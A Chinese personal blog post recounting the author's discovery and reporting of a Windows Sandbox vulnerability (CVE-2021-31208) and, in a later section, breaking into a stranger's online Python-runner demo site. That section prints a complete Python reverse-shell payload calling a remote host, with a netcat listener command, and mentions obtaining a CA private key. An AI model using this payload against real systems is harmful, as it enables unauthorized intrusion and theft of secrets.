论如何发现一个计算机漏洞 | Mayx的博客
Author: mayx
Description: 网络安全？可不只是专业人员的事情。
Date: 2021-05-15T00:00:00+08:00

15 May 2021 - 字数统计：3183 - 阅读大约需要10分钟 - Hits: Loading...

# 论如何发现一个计算机漏洞

by mayx

这是一篇创建于 天前的文章，其中的信息可能已经有所发展或是发生改变。

AI摘要

这篇文章主要讲述了作者发现并报告Windows沙箱存在漏洞的个人经历。作者在使用Windows沙箱时，意外发现微软Edge Beta版被无理由安装，并且在尝试卸载时误删了正式版Edge，同时沙箱中的操作影响到物理机。随后作者将此漏洞报告给微软，建议通过Microsoft Security Response Center正式渠道提交，并提醒读者在复现漏洞时的环境要求。作者最后提到这个简单漏洞让他的人生中首次贡献了一个CVE（ Common Vulnerabilities and Exposures，公共漏洞和暴露）——CVE-2021-31208，对自己的发现感到高兴。在分享过程中，作者还提及了一个与安全相关的实验，展示了如何利用代码反弹shell攻击。

- 起因
- Windows沙箱的漏洞发现过程与复现方法
  - 复现的环境要求
  - 人生中第一个自己贡献了的CVE
- 那天我黑掉的网站
- 总结

网络安全？可不只是专业人员的事情。

#
起因

一个月前我发现了Windows沙箱有个很严重的漏洞，害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的，我不希望因为这种安全问题就放弃它，所以我就向微软反馈了这个漏洞。

于是昨两天，微软给我发邮箱说这个漏洞已经修好了，顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的，但是这个漏洞的描述页面能把我的名字写上去这个我还是挺高兴的。

在我收到这个消息当天，我兴奋的顺手又黑掉了一个网站😂，难不成我的天赋在信息安全上？

#
Windows沙箱的漏洞发现过程与复现方法

在几个月前，我的电脑莫名其妙的被安装上了Microsoft Edge Beta版，我明明从来没有安装过，但是它就是莫名其妙的出现了。这么一安装，我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的，我不希望电脑上出现多余的东西，像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。

一般来说Edge Beta都是手动安装的，所以这种情况在“卸载或更改程序”里应该是可以发现的，但是这个是莫名其妙被安装上的，自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge，网上搜到的答案一般就是在浏览器内核文件夹下找到`Installer`文件夹，然后在这个文件夹下执行命令`.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall`就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令，然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标，而且Beta版里也没有我的Cookie和插件……

过了两天Windows更新了，更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。

就以上这件事情搞的我很烦躁，烦躁之后就想发泄，发泄又不能对着我的电脑发泄，于是我就打开了Windows沙箱，把Windows沙箱里的Edge给卸载掉了。结果怎么着？我物理机上的Edge也不见了！这说明了啥问题？我在沙箱里做的操作竟然影响到了物理机？后来我经过测试发现，微软似乎把物理机里的`C:\Program Files (x86)\Microsoft\Edge\Application`文件夹映射到了沙箱里，而且没有做任何的限制。这可真是太可怕了，要知道沙箱相当于一个被信任执行危险东西的一个地方，那么使用它的人都是不会考虑里面运行的东西是不是安全的，看来阿三写的代码不行啊。假如我写一个程序，它把`msedge.exe`文件感染了，比如说加个壳啥的，物理机上用Edge的人应该也不少吧，至少市场占有率都已经超过Firefox了，那么在沙箱里Edge被感染的人在物理机上一旦运行，那么物理机将陷入危险的境地。

最开始我发现了这个漏洞之后我是在反馈中心里提交的，不过那个看起来貌似一点点用都没有，微软是没有人会去看那个东西的，而且就算看到了也只会静悄悄的修复掉，你的反馈就和垃圾没什么区别。

后来我在百度上搜怎么向微软提交漏洞，百度简直就是个垃圾，没有搜到一点点有用的信息，之后看了半天我看到有一个文章说可以给 secure@microsoft.com 发邮件来反馈BUG，于是我就用英文写了篇文章来报告这个BUG。 不过我的方法并不正确，因为微软有专门反馈BUG的网站，也就是Microsoft Security Response Center。你如果直接用邮箱报告他们当然也会回复，但是大概率得不到奖金，因为人家的报告一般都有格式，自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站，还是我发了邮件之后才知道原来可以在这里报告，所以如果大家以后找到微软的漏洞想报告，千万不要用那个垃圾“反馈中心”，也不要发邮件，最好直接在这里报告漏洞。

另外还有个问题就是如果真的得到了奖金，拿到它也有点麻烦，因为微软不能说是让你发个支付宝收款码之类的，得先注册一个HackerOne或者Bugcrowd的账户，而且从国外提款很麻烦，所以如果不是那种经常能发现漏洞的，或者是在安全公司里的人，基本上这钱就还是别提了。

##
复现的环境要求

这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧，PoC？那种东西我怎么可能会写？傻子都知道怎么测试了吧？所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱，最早的有效版本我不太清楚，因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的，另外目前的话如果想要复现这个漏洞不能安装KB5003173补丁，如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看，只要在最新的Windows 10上卸载KB5003173补丁，然后安装Windows沙箱，就可以复现这个漏洞。

##
人生中第一个自己贡献了的CVE

看来CVE-2021-31208就是我贡献的了，以后只要在微软的鸣谢列表里搜索Mayx就可以搜到我找到的漏洞了，虽然这个漏洞很简单，但是自己的名字能写到那个列表里也挺令人高兴的啊。

#
那天我黑掉的网站

5月12日那天，有一名叫做Kingfish404的人Fork了我的博客，结果第一眼看到了那个爬猎聘网的脚本，吓得我还以为这位是我的老师，因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣，就看了看Ta的仓库。看着看着看到了一个可以在线学习Python的网站源代码，我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站，就像Python123那样，就是因为他们那个服务要收费所以就想写个开源的，不过因为如果直接用Python在服务器上运行的话实在是太危险了，所以我想的是写一个使用Docker来运行Python并且评分的平台（也许可以用k8s？），可惜我水平有限，不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下？结果发现这个人写的就是我说的那种危险方法运行Python脚本的，看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了，不过我也只是知道这个概念，怎么用我还是不太清楚。然后就搜了一下，看到了这篇文章。嗯……现实中攻击还是要比CTF中攻击有意思，然后我就在我的服务器上执行了一下`nc -lvvp 1234`，在它的代码执行框里执行：

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("remote-ip",1234))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

就这样我就成功的反弹了一个Shell，虽然吧Ta给的权限不高，但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。

所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。

#
总结

从以上来看，想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情，至少我不是信息安全专业的，所以只要有能注意到问题的思考方法，要正面面对问题，要刻意触发问题，知道问题出现在哪里，猜测问题可以做什么，那么谁都可以发现漏洞，虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗？

tags: 安全 - 漏洞 - 网络 查看原始文件

#### 推荐文章

Loading...

上一篇：网络任意互联指南
下一篇：关于去中心化分布式系统的探索
想问这篇文章
召唤伊斯特瓦尔